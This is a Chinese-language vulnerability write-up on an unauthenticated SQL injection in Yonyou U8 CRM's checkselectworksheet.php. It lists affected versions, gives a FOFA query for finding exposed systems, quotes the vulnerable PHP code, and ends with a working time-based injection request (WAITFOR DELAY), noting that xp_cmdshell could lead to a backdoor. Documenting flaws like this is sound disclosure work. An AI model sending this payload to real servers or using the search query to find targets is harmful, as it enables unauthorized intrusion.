漏洞简介
用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件,旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。用友 U8 CRM客户关系管理系统 checkselectworksheet.php 文件存在SQL注入漏洞,未经身份验证的攻击者通过漏洞执行任意SQL语句,调用xp_cmdshell写入后门文件,执行任意代码,从而获取到服务器权限。
影响版本
V18, V16.5, V16.1, V16.0, V15.1, V13
fofa语法
title="用友U8CRM"
漏洞分析
那直接看 U8SOFT/turbocrm70/code/www/servicequotation/checkselectworksheet.php 业务逻辑实现关键部分
<?
include_once("tglobal.lib");
//依次把GET POST 变量变成函数内的变量
$wsIDs = TGetRequest('wsIDs');//服务工单明细ID
global $gblDB;
$checkSql="select distinct(ws.pay_account_id)
from tc_worksheet_d wsd
left join tc_worksheet ws on wsd.ws_id=ws.ws_id
where ws_d_id in ($wsIDs) ";//服务工单明细只能来源于同一付款客户下
$rs=$gblDB->query($checkSql);
$pay_account_id=array();
if ($rs)
{
while ($rs->fetchRecord())
{
if (!isEmptyString($rs->getFieldValueByName("pay_account_id")))
$pay_account_id[$rs->getFieldValueByName("pay_account_id")] = $rs->getFieldValueByName("pay_account_id");
}
$rs->close();
}
$result = array();
//if(count($pay_account_id)!=1 || !$pay_account_id[0]){
if(count($pay_account_id)>1){
$result['success'] = false;
$result['message'] =TDD_GetDatadict()->getStringRes("STR_CHECKACCOUT");
}
$wsIDs = TGetRequest('wsIDs') 获取外部输入参数并在 $checkSql 字符串中无任何过滤,无任何过滤和校验,造成sql注入漏洞。
漏洞复现
GET /servicequotation/checkselectworksheet.php?wsIDs=1);WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: u8crm.mrxn.net
Cookie: PHPSESSID=bgsesstimeout-;

成功延时 5 秒


